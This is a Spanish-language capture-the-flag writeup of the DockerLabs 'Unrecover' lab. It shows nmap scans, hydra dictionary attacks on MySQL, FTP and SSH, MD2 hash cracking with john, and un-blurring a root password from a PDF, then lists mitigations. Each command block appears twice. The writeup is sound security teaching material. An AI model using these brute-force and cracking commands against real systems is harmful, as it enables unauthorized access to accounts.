July 31, 2026
DockerLabs Writeup — Unrecover (Spanish)
A continuación, describo la guía de resolución del laboratorio de DockerLabs denominado “Unrecover”.

By David Prieto Montero (a.k.a Pyth0nK1d)
6 min read
Este laboratorio está catalogado con la dificultad "Medio" y su autor es "El Pingüino de Mario".
ATENCIÓN
Las herramientas y técnicas utilizadas en la resolución de este laboratorio han sido ejecutadas en un entorno controlado. El autor de esta publicación no se hace responsable del mal uso que se haga de estas, ya que el objetivo final de esta publicación es transmitir conocimientos con fines éticos y educativos.
Resumen de contenido sobre este laboratorio
Tags: Contraseña débil, Divulgación de información, Reutilización de contraseñas, Seguridad por oscuridad, Seguridad web
Antes de comenzar, se indica un resumen de contenido que se puede encontrar en esta guía:
- Divulgación de información que permite obtener una cadena de credenciales válidas entre servicios, las cuales permiten terminar descubriendo credenciales en texto plano asociadas al usuario
balulero, con el cual es posible acceder al sistema a través de SSH. - Un archivo contiene la contraseña difuminada del usuario
root. Se consigue eliminar el difuminado e interpretar correctamente, permitiendo así escalar al usuarioroot.
Reconocimiento inicial
Se inicia el reconocimiento mediante un ping a la máquina. Esto se hace por un lado para detectar que la máquina se encuentra accesible y por otro lado para poder detectar el sistema operativo mediante el TTL asignado.
ping -c 1 172.17.0.2ping -c 1 172.17.0.2
Se puede comprobar que el TTL asignado es 64, indicando que la máquina está accesible directamente sin ningún nodo intermediario y por otro lado que el sistema subyacente es GNU/Linux.
Una vez hecho esto, se realiza un reconocimiento de los servicios disponibles en dos fases. En la primera, se realiza un escaneo de todos los puertos TCP usando nmap para detectar en primera instancia cuales de ellos son accesibles (open), utilizando un escaneo TCP SYN.
sudo nmap -sS -p- --min-rate 1000 -n -Pn 172.17.0.2 -oN allPortssudo nmap -sS -p- --min-rate 1000 -n -Pn 172.17.0.2 -oN allPorts
En la segunda, se realiza un reconocimiento básico de los servicios subyacentes también mediante el uso de nmap. Esta vez, realizando dicha tarea de reconocimiento únicamente en los puertos detectados como abiertos.
nmap -sCV -p 21,22,80,3306 -n -Pn 172.17.0.2 -oN servicesnmap -sCV -p 21,22,80,3306 -n -Pn 172.17.0.2 -oN services
En este caso, se omite el escaneo de puertos UDP, ya que para esta máquina en particular no tiene ningún servicio relevante para llevar a cabo el ejercicio.
Acceso inicial (balulero)
En este caso se detecta que hay cuatro puertos abiertos:
- Puerto 21 (servicio FTP, vsftpd)
- Puerto 22 (servicio SSH, OpenSSH)
- Puerto 80 (servicio HTTP, Apache httpd)
- Puerto 3306 (servicio MySQL, MariaDB 5.5.5–10.11.6)
Al revisar el puerto 80, se detecta una página de un zoo de capybaras. Además, se detecta un potencial nombre de usuario en la parte superior denominado "capybara".
URL: http://172.17.0.2
...
Hola Usuario capybaraURL: http://172.17.0.2
...
Hola Usuario capybara
Al realizar un ataque de diccionario sobre el servicio MySQL sobre este usuario, se terminan detectando credenciales válidas. Esto permite acceder directamente al SGBD como el usuario "capybara".
hydra -l capybara -P /usr/share/wordlists/rockyou.txt mysql://172.17.0.2 -I -f -t 32
mysql -h 172.17.0.2 -u capybara -p --ssl=False
<introducir la contraseña descubierta>hydra -l capybara -P /usr/share/wordlists/rockyou.txt mysql://172.17.0.2 -I -f -t 32
mysql -h 172.17.0.2 -u capybara -p --ssl=False
<introducir la contraseña descubierta>
Se detecta una base de datos denominada "beta", la cual incluye una tabla denominada "registration" que almacena las credenciales de un usuario denominado "balulero" (nombre de usuario y hash).
MariaDB [(none)]> show databases;
MariaDB [(none)]> use beta;
MariaDB [beta]> show tables;
MariaDB [beta]> select * from registraton;MariaDB [(none)]> show databases;
MariaDB [(none)]> use beta;
MariaDB [beta]> show tables;
MariaDB [beta]> select * from registraton;
Tras analizar el hash, se comprueba que está en formato MD2. Al realizar un ataque de diccionario especificando el formato no tarda en descubrir la contraseña asociada.
hashid <RECORTADO>
mousepad balulero.hash -> guardar hash
john --wordlist=/usr/share/wordlists/rockyou.txt --format=MD2 balulero.hashhashid <RECORTADO>
mousepad balulero.hash -> guardar hash
john --wordlist=/usr/share/wordlists/rockyou.txt --format=MD2 balulero.hash
Al probar estas credenciales, se puede comprobar que se reportan válidas tanto para el servicio FTP como para el SSH, probando así que el usuario reutiliza esta contraseña.
hydra -l balulero -p <RECORTADO> ftp://172.17.0.2 -I -f -t 32
hydra -l balulero -p <RECORTADO> ssh://172.17.0.2 -I -f -t 32hydra -l balulero -p <RECORTADO> ftp://172.17.0.2 -I -f -t 32
hydra -l balulero -p <RECORTADO> ssh://172.17.0.2 -I -f -t 32
En este punto se decide utilizar las credenciales en el servicio FTP para comprobar que contiene. Se detecta un archivo "backup.pdf" que se decide descargar para analizarse más detenidamente.
ftp 172.17.0.2 21
...
Name (172.17.0.2:pyth0nk1d): balulero
<introducir la contraseña descubierta>
ftp> ls -al
ftp> get backup.pdf
ftp> exit
ls -al backup.pdf
file backup.pdfftp 172.17.0.2 21
...
Name (172.17.0.2:pyth0nk1d): balulero
<introducir la contraseña descubierta>
ftp> ls -al
ftp> get backup.pdf
ftp> exit
ls -al backup.pdf
file backup.pdf
Por último, se realiza el acceso inicial al sistema objetivo a través de SSH como el usuario "balulero".
ssh balulero@172.17.0.2
yes (aceptar conexión sin comprobar autenticidad)
<introducir la contraseña descubierta>
whoami
id
hostnamessh balulero@172.17.0.2
yes (aceptar conexión sin comprobar autenticidad)
<introducir la contraseña descubierta>
whoami
id
hostname
Escalada de privilegios (balulero -> root)
Al revisar el archivo PDF descargado previamente, se puede comprobar que este parece contener las credenciales del usuario "root", aunque la contraseña aparece difuminada haciéndola casi ilegible.
Nota importante: La contraseña se puede llegar a interpretar subiendo el brillo de la pantalla y entrecerrando los ojos, por eso aparece tapada en la imagen, para obligar en cierto modo al lector a realizar este ejercicio para descubrirla ;)
<abrir archivo "backup.pdf" con un lector de PDFs><abrir archivo "backup.pdf" con un lector de PDFs>
En este caso se va a utilizar el set de utilidades de ImageMagick para transformar el contenido e intentar reducir lo máximo posible el difuminado de la imagen para que la contraseña sea más legible.
Referencia (reducir difuminado de imágenes): https://salivity.github.io/magick/article/how-to-sharpen-blurry-images-with-imagemagick
Referencia (convert de ImageMagick): https://imagemagick.org/convertReferencia (reducir difuminado de imágenes): https://salivity.github.io/magick/article/how-to-sharpen-blurry-images-with-imagemagick
Referencia (convert de ImageMagick): https://imagemagick.org/convertAntes de continuar, primero se convierte el contenido de este PDF a una imagen PNG.
Referencia (convertir PDF a PNG): https://es.unixlinux.online/zt/1002011685.htmlReferencia (convertir PDF a PNG): https://es.unixlinux.online/zt/1002011685.htmlA continuación, se ejecutan los siguientes comandos utilizados para la reducción del difuminado, basado en las referencias facilitadas y realizando pruebas ajustando parámetros manualmente.
(convertir página de PDF en imagen > backup.png)
convert backup.png -unsharp 15x5+2+0 step1.png
convert step1.png -colorspace gray -gaussian-blur 0x3 -negate highpass.png
convert step1.png highpass.png -compose hardlight -composite step2.png
convert step2.png -sharpen 0x3 restored.png
file restored.png(convertir página de PDF en imagen > backup.png)
convert backup.png -unsharp 15x5+2+0 step1.png
convert step1.png -colorspace gray -gaussian-blur 0x3 -negate highpass.png
convert step1.png highpass.png -compose hardlight -composite step2.png
convert step2.png -sharpen 0x3 restored.png
file restored.png
La reducción del difuminado no es una maravilla, pero al menos ahora es posible entender mejor cual es la contraseña que se intentaba ocultar.
Con la contraseña descubierta es posible acceder como el usuario "root" directamente desde la sesión SSH disponible.
su - root
<introducir la contraseña descubierta>
whoami
id
hostnamesu - root
<introducir la contraseña descubierta>
whoami
id
hostname
En este punto, al haber obtenido acceso a la cuenta "root", se ha conseguido obtener los máximos privilegios posibles sobre el sistema objetivo (este laboratorio).
Mitigaciones a aplicar
- Almacenar la información sensible de forma segura (por ejemplo, utilizando gestores de contraseñas), evitando que esta pueda ser accedida por usuarios no autorizados. Evitar mostrar en la web o "hardcodear" en código credenciales en recursos accesibles o que potencialmente puedan acabar publicados.
- Evitar que los usuarios del sistema u otros servicios tengan como contraseña una que se pueda encontrar en listas públicas o conocidas como rockyou. Recomendación: crear una política de contraseñas robusta para evitar que esto ocurra.
- Evitar malas prácticas como la reutilización de contraseñas entre cuentas o servicios.
- Evitar aplicar prácticas del tipo "seguridad por oscuridad", aplicando mecanismos de seguridad robustos y auditables con el fin de asegurar funcionalidades críticas o proteger secretos.
- Ajustarse al principio de privilegio mínimo y conceder a los usuarios del sistema única y exclusivamente los privilegios que vayan a necesitar. Aplica de la misma forma para recursos del sistema y sus permisos. Recomendación: existen guías de hardening como "CIS Benchmarks" para aplicar buenas prácticas y asegurar entre otras cosas, los permisos para distintos tipos de software y sistemas expuestos en Internet.
¿Te gustó esta publicación? Sígueme y descubre más en mi blog principal: https://pyth0nk1d.medium.com